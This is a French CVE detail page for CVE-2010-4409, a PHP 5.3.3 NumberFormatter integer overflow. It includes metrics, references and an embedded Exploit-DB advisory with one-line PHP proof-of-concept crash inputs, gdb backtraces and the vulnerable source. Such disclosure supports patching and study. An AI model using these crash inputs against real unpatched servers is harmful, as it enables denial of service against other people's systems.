CVE-2010-4409 : Détail

CVE-2010-4409

2.84%V3
Network
2010-12-06
19h00 +00:00
2018-10-10
16h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Integer overflow in the NumberFormatter::getSymbol (aka numfmt_get_symbol) function in PHP 5.3.3 and earlier allows context-dependent attackers to cause a denial of service (application crash) via an invalid argument.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 15722

Date de publication : 2010-12-09 23h00 +00:00
Auteur : Maksymilian Arciemowicz
EDB Vérifié : No

From: Maksymilian Arciemowicz <cxib () securityreason com> Date: Fri, 10 Dec 2010 14:43:32 +0100 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ PHP 5.3.3 NumberFormatter::getSymbol Integer Overflow ] Author: Maksymilian Arciemowicz http://securityreason.com/ http://cxib.net/ Date: - - Dis.: 11.11.2010 - - Pub.: 10.12.2010 CERT: VU#479900 CVE: CVE-2010-4409 CWE: CWE-189 Status: Fixed in PHP 5.3.4 Affected Software: - - PHP 5.3.3 Original URL: http://securityreason.com/achievement_securityalert/91 - --- 0.Description --- Internationalization extension (further is referred as Intl) is a wrapper for ICU library, enabling PHP programmers to perform UCA-conformant collation and date/time/number/currency formatting in their scripts. Number Formatter: allows to display number according to the localized format or given pattern or set of rules, and to parse strings into numbers. - --- 1. PoC for Integer Overflow --- $nx=new NumberFormatter("pl",1); $nx->getSymbol(2147483648); - --- 2. PHP 5.3.3/5.2.14 NumberFormatter::getSymbol Integer Overflow --- As we can see in - --- PHP_FUNCTION( numfmt_get_symbol ) { long symbol; UChar value_buf[4]; UChar *value = value_buf; int length = USIZE(value); FORMATTER_METHOD_INIT_VARS; /* Parse parameters. */ if( zend_parse_method_parameters( ZEND_NUM_ARGS() TSRMLS_CC, getThis(), "Ol", &object, NumberFormatter_ce_ptr, &symbol ) == FAILURE ) { intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR, "numfmt_get_symbol: unable to parse input params", 0 TSRMLS_CC ); RETURN_FALSE; } /* Fetch the object. */ FORMATTER_METHOD_FETCH_OBJECT; length = unum_getSymbol(FORMATTER_OBJECT(nfo), symbol, value_buf, length, &INTL_DATA_ERROR_CODE(nfo)); <================= !!!TO BIG INT HERE!!! ... - --- will crash for differ value. example {2444492804, 2147483648, 2147483649, 2554462209} (when rdi out off band (range 2to31 2to32 under 64bits linux) Program received signal SIGSEGV, Segmentation fault. 0x00007fffedf317f5 in icu_4_2::UnicodeString::extract(unsigned short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42 (gdb) bt #0 0x00007fffedf317f5 in icu_4_2::UnicodeString::extract(unsigned short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42 #1 0x00007fffee5d11c0 in zif_numfmt_get_symbol (ht=17168120, return_value=0x105c928, return_value_ptr=0x4, this_ptr=0x105f710, return_value_used=17168144) at /build/buildd/php5-5.3.3/ext/intl/formatter/formatter_attr.c:269 ...blabla rip 0x7fffedf317f5 0x7fffedf317f5 <icu_4_2::UnicodeString::extract(unsigned short*, int, UErrorCode&) const+21> eflags 0x10206 [ PF IF RF ] let`s see value ~4294901761 $nx=new NumberFormatter("pl",1); $nx->getSymbol(4294901761); will crash in memcpy(3) ;] Program received signal SIGSEGV, Segmentation fault. memcpy () at ../sysdeps/x86_64/memcpy.S:90 90 ../sysdeps/x86_64/memcpy.S: No such file or directory. in ../sysdeps/x86_64/memcpy.S (gdb) bt #0 memcpy () at ../sysdeps/x86_64/memcpy.S:90 #1 0x00007fffea74a86a in icu_4_2::UnicodeString::extract(unsigned short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42 #2 0x00007fffeadea2b4 in zif_numfmt_get_symbol (ht=17826952, return_value=0x10fecd0, return_value_ptr=0xc, this_ptr=0x11004a0, return_value_used=17826976) at /build/buildd/php5-5.3.3/ext/intl/formatter/formatter_attr.c:274 #3 0x00000000006e986a in zend_do_fcall_common_helper_SPEC ( execute_data=0x7ffff7eb8068) at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316 ... let's see ICU UnicodeString::extract(unsigned short*, int, UErrorCode&) - --- int32_t UnicodeString::extract(UChar *dest, int32_t destCapacity, UErrorCode &errorCode) const { int32_t len = length(); if(U_SUCCESS(errorCode)) { if(isBogus() || destCapacity<0 || (destCapacity>0 && dest==0)) { errorCode=U_ILLEGAL_ARGUMENT_ERROR; } else { const UChar *array = getArrayStart(); if(len>0 && len<=destCapacity && array!=dest) { uprv_memcpy(dest, array, len*U_SIZEOF_UCHAR); <======= MEMCPY REFERENCE HERE } return u_terminateUChars(dest, destCapacity, len, &errorCode); } } return len; } - --- so crash in rip=memcpy(3). Method getLocal() also can generate simple crash (CWE-170) $nx=new IntlDateFormatter("pl", IntlDateFormatter::FULL, IntlDateFormatter::FULL); $nx->getLocale(1); - --- 3. Fix --- Fix in next PHP Version 5.3.4: http://www.kb.cert.org/vuls/id/479900 SVN: http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/intl/dateformat/dateformat_attr.c?view=log http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/intl/formatter/formatter_attr.c?view=log - --- 4. Greets --- Special thanks for Pierre Joye and Stas Malyshev for very quickly fix Michael Orlando for security support and sp3x, Infospec - --- 5. Contact --- Author: SecurityReason.com [ Maksymilian Arciemowicz ] Email: - - cxib {a\./t] securityreason [d=t} com GPG: - - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg http://securityreason.com/ http://cxib.net/ - -- Best Regards pub 4096R/D6E5B530 2010-09-19 uid Maksymilian Arciemowicz (cx) <max () cxib net> sub 4096R/58BA663C 2010-09-19 -----BEGIN PGP SIGNATURE----- iQIcBAEBAgAGBQJNAi5vAAoJEIO8+dzW5bUwsdsP/3/XRI/fXcqRg154DObVa/Ew LgVS9ZP5yrTG2JBZnYYSHRB6ZXpK7hEfM838/gVLAolMEnLplynqmiTef74gHBAN /VIGpE7sZDsxTeAk+MWzecxS0Gp77kR8ibcd8kClKmdcodgZ+JSJab/3snAclBXT CesuN20tUPS4d7sjxTz7K9uZhO+7ezZn6xnJr67l2xcx8xCcrnNNRzapEzQ6tcBj cM3pMxond3uAGQT3+ewwl1GQ/30HkX3fjPJPhT6Mna9/LH7f5IGHSnSxw5lJbUjY xMaB+qTE44TrKTKqKkkowsPpAeaoQ7a3O16YG6qcWfly+9bf2vQVNhcG+hAa6mgK ekNkleDKg+n7Qsgsrl/4mFS/40tCTss9/PQ8/QEp2g4VOSeyzuoVB2PJDl48X4pH xabNVh9T3LWkxTnC5wcy2tuF7Tbb1eOngMxBclB9xR6vjr0nqT5EHLy4w+VnXo3I FICv2EhojYXpxgrQEteK0JVnZC3ROspAJDM7YC4ZXk4HSRKnFK2Ymf+yyzhycyHu cj1F70DTCNvXfdWUuvKVlTQUM4BDGpR1xs23EZqVky+8lk1mRJW98UwCs0kqpN46 maS8ZXM1+8dEMZFx/2wRcI2xkFoViMuKFpqwvVG+TPYY0fUSUfNdYCoxxl4YiWdD u0SjiF38TxqaIjNnvaym =3G4F -----END PGP SIGNATURE-----

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.3.3

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Références

http://www.vupen.com/english/advisories/2011/0077
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/47674
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/42812
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDVSA-2010:255
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.ubuntu.com/usn/USN-1042-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.vupen.com/english/advisories/2011/0021
Tags : vdb-entry, x_refsource_VUPEN
http://www.php.net/ChangeLog-5.php
Tags : x_refsource_CONFIRM
http://www.mandriva.com/security/advisories?name=MDVSA-2010:254
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.exploit-db.com/exploits/15722
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.vupen.com/english/advisories/2011/0020
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/45119
Tags : vdb-entry, x_refsource_BID
http://support.apple.com/kb/HT4581
Tags : x_refsource_CONFIRM
http://www.kb.cert.org/vuls/id/479900
Tags : third-party-advisory, x_refsource_CERT-VN